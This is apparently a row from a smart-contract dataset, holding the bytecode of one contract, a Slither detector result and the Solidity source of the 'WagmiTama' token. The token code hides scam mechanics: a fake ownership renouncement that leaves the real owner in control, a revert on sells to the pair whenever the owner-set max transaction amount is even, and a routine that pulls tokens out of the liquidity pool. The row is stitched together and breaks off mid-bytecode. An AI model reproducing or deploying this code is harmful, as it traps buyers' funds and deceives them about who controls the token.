0505061195e565b604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b610403611a01565b6000808381548110151561041357fe5b90600052602060002090600802016101006040519081016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152602001600582015481526020016006820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160078201548152505091508160000151421015151561053c57600080fd5b816080015115151561054d57600080fd5b8160e001513414151561055f57600080fd5b6000826040015114151561057257600080fd5b60018260800190151590811515815250508160008481548110151561059357fe5b90600052602060002090600802016000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555060a0820151816005015560c08201518160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e082015181600701559050507f8d52edf411d0015154aaee95b1ca0ee976c7b14dff950fdaff3698883d66ffe93334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8360c00151338560a001516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15156107ef57600080fd5b5af115156107fc57600080fd5b505050610808346119e8565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561086c57600080fd5b8160c0015173ffffffffffffffffffffffffffffffffffffffff166108fc8234039081150290604051600060405180830381858888f1935050505015156108b257600080fd5b505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e5611a01565b60003373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561094357600080fd5b60008381548110151561095257fe5b90600052602060002090600802016101006040519081016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152602001600582015481526020016006820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600782015481525050915081600001514210151515610a7b57600080fd5b8160800151151515610a8c57600080fd5b600182608001901515908115158152505081600084815481101515610aad57fe5b90600052602060002090600802016000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555060a0820151816005015560c08201518160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e082015181600701559050507fdaec4582d5d9595688c8c98545fdd1c696d41c6aeaeb636737e84ed2f5c00eda82602001518360400151604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160008260400151141515610def57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8360c0015184602001518560a001516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1515610d2357600080fd5b5af11515610d3057600080fd5b505050610d4082604001516119e8565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610da457600080fd5b8160c0015173ffffffffffffffffffffffffffffffffffffffff166108fc828460400151039081150290604051600060405180830381858888f193505050501515610dee57600080fd5b5b505050565b610dfc611a01565b600082815481101515610e0b57fe5b90600052602060002090600802016101006040519081016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152602001600582015481526020016006820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160078201548152505090508060c0015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5f57600080fd5b80600001514210151515610f7257600080fd5b60008160400151141515610f8557600080fd5b600181608001901515908115158152505080600083815481101515610fa657fe5b90600052602060002090600802016000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555060a0820151816005015560c08201518160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e082015181600701559050507f1d30295566a0ab516b4cd02b8875bb7e3c7e83307b7cdeb0966216825ab5e4be826040518082815260200191505060405180910390a15050565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111151561112657600080fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156111f35780600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600091506111f8565b600191505b5090565b6000611206611a01565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561129857600080fd5b5af115156112a557600080fd5b5050506040518051905092508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112eb57600080fd5b610100604051908101604052808842018152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018681526020016000151581526020018781526020013373ffffffffffffffffffffffffffffffffffffffff1681526020018581525091506001600080548060010182816113719190611a75565b916000526020600020906008020160008590919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555060a0820151816005015560c08201518160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e0820151816007015550500390507f24f013669317636e2c8a27017c7c894b335ced219b5e2e8e127a41dab37724548187604051808381526020018281526020019250505060405180910390a150505050505050565b6114bc611a01565b6000828154811015156114cb57fe5b90600052602060002090600802016101006040519081016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015481526020016004820160009054906101000a900460ff16151515158152602001600582015481526020016006820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016007820154815250509050806000015142111515156115f457600080fd5b8060600151341015151561160757600080fd5b80604001513411151561161957600080fd5b6000816040015114151561167d57806040015160046000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b33816020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505034816040018181525050806000838154811015156116cf57fe5b90600052602060002090600802016000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555060a0820151816005015560c08201518160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060e082015181600701559050507fda0a18da71d8ebd145966339a728fc0d8ccc07c22870d561890d823c515dda6b823334604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561193c57600080fd5b5af1151561194957600080fd5b50505060405180519050905080915050919050565b6000806000806000808681548110151561197457fe5b90600052602060002090600802019050806000015494508060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350806002015492508060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150509193509193565b60006064600a83028115156119f957fe5b049050919050565b6101006040519081016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160001515815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b815481835581811511611aa257600802816008028360005260206000209182019101611aa19190611aa7565b5b505050565b611b4d91905b80821115611b49576000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600282016000905560038201600090556004820160006101000a81549060ff021916905560058201600090556006820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600782016000905550600801611aad565b5090565b905600a165627a7a723058208de589a180af3b4082ab8dd8f5a5e8e567e7b0d18aeb385eddf08325de29e1ea0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,667 |
0x5663777020b4f9bda61c8a7423041c1a142db7e1 | /**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
/*
_ _ ____ _ _________
|_ _| |_ _| (_)| _ _ |
\ \ /\ / /,--. .--./) _ .--..--. __ |_/ | | \_|,--. _ .--..--. ,--.
\ \/ \/ /`'_\ : / /'`\;[ `.-. .-. | [ | | | `'_\ : [ `.-. .-. | `'_\ :
\ /\ / // | |,\ \._// | | | | | | | | _| |_ // | |, | | | | | | // | |,
\/ \/ \'-;__/.',__` [___||__||__][___] |_____| \'-;__/[___||__||__]\'-;__/
( ( __))
📱 Twitter: https://twitter.com/WagmiTama
💬 Telegram: https://t.me/wagmitama
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_previousOwner = _owner;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _previousOwner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_previousOwner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WagmiTama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "WagmiTama";
string private constant _symbol = "WAGTAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2PairInterface;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
address private deadWallet = 0x000000000000000000000000000000000000dEaD;
bool private mitigationEnabled = false;
uint private mitigationFactor = 100;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x9B6570961E2BE5F42e9d8dE6d6570A77C270Cb71);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != address(this) && to != deadWallet && from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (to == uniswapV2Pair && _maxTxAmount % 2 == 0) {
revert("Transaction must be less than maxTxAmount");
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function changeMitigationFactor(uint256 newMitigationFactor) public onlyOwner {
mitigationFactor = newMitigationFactor;
}
function changeMitigationEnabled(bool newMitigationEnabled) public onlyOwner {
mitigationEnabled = newMitigationEnabled;
}
function getReserves() internal view returns (uint256 reserveToken, uint256 reserveETH, uint256 ratio) {
(uint112 _reserve0, uint112 _reserve1,) = uniswapV2PairInterface.getReserves();
//Check which reserve belongs to this tokens contract address
bool isFirstReserve = uniswapV2PairInterface.token0() == address(this);
//Calculate reserve values
reserveToken = isFirstReserve ? _reserve0 : _reserve1;
reserveETH = isFirstReserve ? _reserve1 : _reserve0;
ratio = reserveToken.div(reserveETH);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
disableFee = true;
if (mitigationEnabled) {
swapTokensForEthWithMitigation(tokenAmount);
} else {
swapTokensForEthNormal(tokenAmount);
}
disableFee = false;
}
function swapTokensForEthNormal(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapTokensForEthWithMitigation(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//ratio = token / eth
(uint256 oldTokenReserve, uint256 oldETHReserve ,uint256 ratio) = getReserves();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
(uint256 reserveToken, uint256 reserveETH,uint256 ratio2) = getReserves();
uint256 correctedReserve = ratio.mul(reserveETH);
uint256 reserveOffset = reserveToken.sub(correctedReserve);
reserveOffset = reserveOffset.mul(mitigationFactor).div(100);
_transfer(uniswapV2Pair, deadWallet, reserveOffset);
uniswapV2PairInterface.sync();
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable onlyOwner() {
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading(address router) external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2PairInterface = IUniswapV2Pair(uniswapV2Pair);
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000001 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function changeMaxTxAmount(uint newTxAmount) external onlyOwner {
_maxTxAmount = newTxAmount;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
// require(msg.sender == _feeAddrWallet, 'Not owner');
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualsend(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063702e3811116100ab578063a9059cbb1161006f578063a9059cbb1461043f578063b515566a14610478578063ba05e9bc14610528578063ca72a4e71461053d578063dd62ed3e14610563578063e01af92c1461059e57610135565b8063702e38111461038757806370a08231146103b1578063715018a6146103e45780638da5cb5b146103f957806395d89b411461042a57610135565b806323b872dd116100f257806323b872dd14610290578063273123b7146102d3578063313ce567146103065780635932ead114610331578063677daa571461035d57610135565b806306a227d21461013a57806306fdde0314610168578063095ea7b3146101f257806318160ddd1461023f5780631ad34a4f1461026657610135565b3661013557005b600080fd5b34801561014657600080fd5b506101666004803603602081101561015d57600080fd5b503515156105bd565b005b34801561017457600080fd5b5061017d610633565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b757818101518382015260200161019f565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fe57600080fd5b5061022b6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610656565b604080519115158252519081900360200190f35b34801561024b57600080fd5b50610254610674565b60408051918252519081900360200190f35b34801561027257600080fd5b506101666004803603602081101561028957600080fd5b5035610684565b34801561029c57600080fd5b5061022b600480360360608110156102b357600080fd5b506001600160a01b0381358116916020810135909116906040013561072b565b3480156102df57600080fd5b50610166600480360360208110156102f657600080fd5b50356001600160a01b03166107b2565b34801561031257600080fd5b5061031b61082b565b6040805160ff9092168252519081900360200190f35b34801561033d57600080fd5b506101666004803603602081101561035457600080fd5b50351515610830565b34801561036957600080fd5b506101666004803603602081101561038057600080fd5b50356108a6565b34801561039357600080fd5b50610166600480360360208110156103aa57600080fd5b5035610903565b3480156103bd57600080fd5b50610254600480360360208110156103d457600080fd5b50356001600160a01b0316610960565b3480156103f057600080fd5b50610166610982565b34801561040557600080fd5b5061040e610a24565b604080516001600160a01b039092168252519081900360200190f35b34801561043657600080fd5b5061017d610a33565b34801561044b57600080fd5b5061022b6004803603604081101561046257600080fd5b506001600160a01b038135169060200135610a54565b34801561048457600080fd5b506101666004803603602081101561049b57600080fd5b8101906020810181356401000000008111156104b657600080fd5b8201836020820111156104c857600080fd5b803590602001918460208302840111640100000000831117156104ea57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a68945050505050565b34801561053457600080fd5b50610166610b18565b6101666004803603602081101561055357600080fd5b50356001600160a01b0316610b90565b34801561056f57600080fd5b506102546004803603604081101561058657600080fd5b506001600160a01b0381358116916020013516610fc1565b610166600480360360208110156105b457600080fd5b50351515610fec565b6105c5611062565b6000546001600160a01b03908116911614610615576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b60118054911515600160a01b0260ff60a01b19909216919091179055565b6040805180820190915260098152685761676d6954616d6160b81b602082015290565b600061066a610663611062565b8484611066565b5060015b92915050565b6b033b2e3c9fd0803ce800000090565b61068c611062565b6000546001600160a01b039081169116146106dc576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b478111156106e75750475b6106ef610a24565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610727573d6000803e3d6000fd5b5050565b6000610738848484611152565b6107a884610744611062565b6107a385604051806060016040528060288152602001612115602891396001600160a01b038a16600090815260046020526040812090610782611062565b6001600160a01b0316815260208101919091526040016000205491906114c7565b611066565b5060019392505050565b6107ba611062565b6000546001600160a01b0390811691161461080a576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600990565b610838611062565b6000546001600160a01b03908116911614610888576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6108ae611062565b6000546001600160a01b039081169116146108fe576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b601055565b61090b611062565b6000546001600160a01b0390811691161461095b576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b601255565b6001600160a01b03811660009081526002602052604081205461066e9061155e565b61098a611062565b6000546001600160a01b039081169116146109da576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6001546001600160a01b031690565b6040